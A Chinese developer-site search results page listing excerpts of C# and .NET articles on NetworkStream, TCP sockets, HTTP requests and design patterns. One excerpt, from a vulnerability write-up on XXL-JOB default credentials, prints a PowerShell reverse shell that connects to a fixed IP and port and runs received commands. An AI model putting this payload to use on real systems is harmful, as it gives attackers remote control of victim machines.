首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏林德熙的博客

    dotnet C# 入门示例 用底层的 Socket 进行 HTTP 网络请求

    在 dotnet 里面封装了 NetworkStream 类,可以简化一些网络通讯代码。可以像一个 Stream 一样进行网络通讯,整个代码写起来还是比较舒服的。 咱就在此基础上构建一个 NetworkStream 对象,然后通过 Stream 的方式写入请求内容,注:后面要带两个换行哦。 代码如下 using var networkStream = new NetworkStream(socket); Console.WriteLine($"连接完成,开始发送请求 其实和 HTTP 的请求是类似的,只不过需要在 NetworkStream 的基础上,使用 SslStream 进行封装。 = new NetworkStream(socket); 完成连接之后,接下来就是其不同的部分。

    38210编辑于 2025-06-17
  • 来自专栏逸鹏说道

    C# 温故而知新:Stream篇(七)

    ,TcpListener,IPEndPoint类的作用 使用NetworkStream的注意事项和局限性 NetworkStream的构造 NetworkStream的属性 NetworkStream的方法 前五节意在说明下NetworkStream背后那个必须掌握的知识点, 这样才能在实际编程过程中很快上手,毕竟NetworkStream的工作环境和其他流有着很大的差别, 再回到第一节关于NetworkStream NetworkStream简化Socket开发 3 如果要建立NetworkStream一个新的实例,则必须使用已经连接的Socket 4 NetworkStream 使用后不会自动关闭提供的socket ,必须使用NetworkStream构造函数时指定Socket所有权(NetworkStream 的构造函数中设置)。 NetworkStream 8.NetworkStream的属性 1.

    1.7K50发布于 2018-04-10
  • 来自专栏NetCore

    Visual C#.Net网络程序开发-Tcp篇(2) 祥细内容:

    Net中通过NetworkStream类实现了这些处理技术。    NetworkStream 实现通过网络套接字发送和接收数据的标准.Net 框架流机制。NetworkStream 支持对网络数据流的同步和异步访问。 NetworkStream 从 Stream 继承,后者提供了一组丰富的用于方便网络通讯的方法和属性。    基于Socket上的应用协议方面,你可以通过以下两种方式获取NetworkStream网络数据流:   1、使用NetworkStream构造函数:public NetworkStream(Socket NetworkStream etStream();它返回用于发送和接收数据的基础网络流NetworkStream

    2.3K50发布于 2018-02-02
  • 来自专栏全栈程序员必看

    Decorator 单一职责模式[通俗易懂]

    ){ //定位文件流 } virtual void Write(char data){ //写文件流 } } class NetworkStream { public: virtual char Read(int number){ //额外的加密操作 NetworkStream::Read( number);//读网络流 } virtual void Seek(int position){ //额外的加密操作 NetworkStream ::Seek(position)//定位网络流 } virtual void Write(char data){ //额外的加密操作 NetworkStream ::Read(number);//读内存流 } virtual void Seek(int position){ //额外的加密操作 NetworkStream

    37630编辑于 2022-09-22
  • 来自专栏静心物语313的Coding

    自己写一个建的的Web服务器

    netStream = new NetworkStream(socket))//接收套接字 using (StreamReader reader = new StreamReader 以空格切割字符创 string url = strs[1];//拿到字符创切割的第二个部分 /1.html using (NetworkStream nerStream = new NetworkStream(socket)) using (StreamWriter writer = new StreamWriter netStream=new NetworkStream(socket))//接收套接字 using(StreamReader reader=new StreamReader nerStream=new NetworkStream(socket)) using (StreamWriter writer = new StreamWriter

    1.7K10发布于 2020-03-24
  • 来自专栏Gnep's_Technology_Blog

    设计模式——单一职责模式之装饰模式

    { //定位文件流 } virtual void Write(char data){ //写文件流 } }; //网络流主体类 class NetworkStream FileStream::Write(data);//写文件流 //额外的加密操作... } }; class CryptoNetworkStream : :public NetworkStream NetworkStream::Read(number);//读网络流 静态特质,确定了只能调NetworkStream } virtual void Seek(int position) NetworkStream::Seek(position);//定位网络流 //额外的加密操作... } virtual void Write(byte data){ NetworkStream::Write(data);//写网络流 //额外的加密操作... } }; class CryptoMemoryStream : public MemoryStream

    33430编辑于 2023-08-10
  • 来自专栏DotNet NB && CloudNative

    你也可以写个聊天程序 C# Socket学习

    所以他们之间的抽象关系是: 我们在学习Socket编程的时候可能会需要用到IPEndPoint、Dns、IPAddress等类,再往上TCP相关有TcpListener、TcpClient、NetworkStream { //2 【阻塞】等待客户端的连接 TcpClient tcpClient = tcpListener.AcceptTcpClient(); NetworkStream networkStream = tcpClient.GetStream(); //开启一个新的线程 等待新的消息 Task.Run(() => { Read(networkStream , tcpClient); }); } } //接收消息 void Read(NetworkStream networkStream) { while (true) { byte[] buffer = new byte[1024 * 1024]; //3 【阻塞】等待接收新的消息 var readLen = networkStream.Read

    64851编辑于 2023-08-30
  • 来自专栏OneMoreThink的专栏

    漏洞研究(6):XXL-JOB调度中心默认口令漏洞

    LHOST = "10.58.81.119"; $LPORT = 1234; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte [] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close

    1.8K01编辑于 2025-05-13
  • 来自专栏静心物语313的Coding

    asp了解

    80; 3)NetworkStreame也是继承Stream类,只是它的构造函数,接收socket这个对象; 4)Stream实现了Idisposebeabe接口,使用using释放资源; 5)NetworkStream socket.Connect(new DnsEndPoint("127.0.0.1", 80));//连接服务器的ip地址,端口号 //写入套接字 using (NetworkStream netstream = new NetworkStream(socket)) using (StreamWriter writer = new StreamWriter(netstream writer.WriteLine();//空行表示,指令结束 } //读取套接字 using (NetworkStream netstream = new NetworkStream(socket)) using (StreamReader reader = new StreamReader(netstream

    7.6K20发布于 2020-03-24
  • 来自专栏CSharp编程大全

    C# TCP通讯示例

    System.Threading; namespace server { class Program { static TcpClient tcpClient; static NetworkStream Console.WriteLine("已连接."); stream = tcpClient.GetStream(); // 创建用于发送和接受数据的NetworkStream System.Threading; namespace client { class Program { static TcpClient tcpClient; static NetworkStream Console.WriteLine("客户端已启用......"); stream = tcpClient.GetStream(); // 创建用于发送和接受数据的NetworkStream

    2.5K20发布于 2021-01-13
  • 来自专栏DotNet NB && CloudNative

    dotnet 6 精细控制 HttpClient 网络请求超时

    { socket.Dispose(); throw; } // 在 NetworkStream 里,设置 ownsSocket 参数为 true 将会在 NetworkStream 被释放的时候,自动释放 Socket 资源 return new NetworkStream

    60630编辑于 2023-08-30
  • 来自专栏林德熙的博客

    dotnet 6 精细控制 HttpClient 网络请求超时

    { socket.Dispose(); throw; } // 在 NetworkStream 里,设置 ownsSocket 参数为 true 将会在 NetworkStream 被释放的时候,自动释放 Socket 资源 return new NetworkStream

    1.6K20编辑于 2022-08-12
  • 来自专栏liulun

    通过异步方式发送和接收数据(tcp异步收发数据)

    /// public class DataReadWrite { public TcpClient client; public NetworkStream SetRecvBoxCallBack(string str); SetRecvBoxCallBack setRecvBoxCallBack; TcpClient client; NetworkStream ///

    /// 接收数据基础类 /// public class DataRead { public NetworkStream netStream; public byte[] msg; public DataRead(NetworkStream ns, int buffersize)

    2.1K30编辑于 2022-05-09
  • 来自专栏分布式系统和大数据处理

    C#网络编程(接收文件) - Part.5

    // 发送文件 private void sendFile(FileProtocol protocol) { TcpClient localClient; NetworkStream 接收文件 private void receiveFile(FileProtocol protocol) { } // 获取连接到远程的流 -- 公共方法 private NetworkStream endpoint); localClient = null; return null; } // 获取发送文件的流 NetworkStream localClient = listener.AcceptTcpClient(); Console.WriteLine("Start sending file..."); NetworkStream

    1K30发布于 2018-09-30
  • 来自专栏人工智能

    三菱FX5U PLC与C#通信开发指南

    System.Threading.Tasks; public class FX5UCommunication { private TcpClient tcpClient; private NetworkStream networkStream; private string ipAddress; private int port; // 构造函数 public FX5UCommunication { try { await tcpClient.ConnectAsync(ipAddress, port); networkStream ; return false; } } // 断开连接 public void Disconnect() { networkStream { try { await tcpClient.ConnectAsync(ipAddress, port); networkStream

    18410编辑于 2026-01-21
  • 来自专栏微卡智享

    Unity3D网络通讯(四)--Socket通讯之Tcp通讯

    定义了SocketTcp的实例,然后内部再定义好TcpClient和NetworkStream,主要是Tcp通讯就是基于这两个来实现的。 ? 在接收方法中,我们就通过NetworkStream BeginRead来处理异步接收的,参数倒数第二个TcpDataRecvived的方法就是我们写的回调函数,最后一个传入的TransData,就是前面我们说定义这个可以在回调函数中使用传入的参数 private static SocketTcp _instance; //TCPClient private TcpClient _tcpClient; private NetworkStream

    4.1K11发布于 2020-09-18
  • 来自专栏C# 编程

    [C#]使用TcpListener及TcpClient开发一个简单的Chat工具

    ."); NetworkStream stream = tcpClient.GetStream(); Task.Factory.StartNew tcpClient.Connect(new IPEndPoint(IPAddress.Parse("192.168.94.26"), 13000)); NetworkStream

    1.7K00发布于 2017-12-25
  • 来自专栏c#Winform自定义控件系列

    c# UDP/TCP协议简单实现(简单聊天工具)

    static List<string> userlist = new List<string>(); 14 static TcpListener tl; 15 static NetworkStream = tl.AcceptSocket(); 46 //通过该Socket实例化网络流 47 ns = new NetworkStream 146 public event MyDelegate MyEvent; 147 //构造函数中接收参数以初始化 148 public ClientTcp(NetworkStream class Login : Form 15 { 16 private TcpClient tc; 17 //声明网络流 18 private NetworkStream new TcpClient(ServerIP, int.Parse(ServerPort)); 81 //实例化网络流对象 82 NetworkStream

    1.6K10发布于 2019-09-11
  • 来自专栏分布式系统和大数据处理

    C#网络编程(同步传输字符串) - Part.2

    remoteClient.Client.LocalEndPoint, remoteClient.Client.RemoteEndPoint); // 获得流,并写入buffer中 NetworkStream remoteClient.Client.LocalEndPoint, remoteClient.Client.RemoteEndPoint); // 获得流,并写入buffer中 NetworkStream {1}", remoteClient.Client.LocalEndPoint, remoteClient.Client.RemoteEndPoint); // 获得流,并写入buffer中 NetworkStream 当我们按下S的时候,可以输入一行字符串,然后将这行字符串发送到服务端;当我们输入X的时候则退出循环: NetworkStream streamToServer = client.GetStream(); client.Client.LocalEndPoint, client.Client.RemoteEndPoint); NetworkStream

    1.1K30发布于 2018-09-30
  • 来自专栏科控自动化

    [C#] 支持API的边缘网关开发笔记4-通过API批量写数据

    System.Net.Sockets.Socket.Send(Byte[] buffer, Int32 offset, Int32 size, SocketFlags socketFlags)\r\n 在 System.Net.Sockets.NetworkStream.Write (Byte[] buffer, Int32 offset, Int32 size)\r\n --- 内部异常堆栈跟踪的结尾 ---\r\n 在 System.Net.Sockets.NetworkStream.Write

    72210编辑于 2022-03-29
领券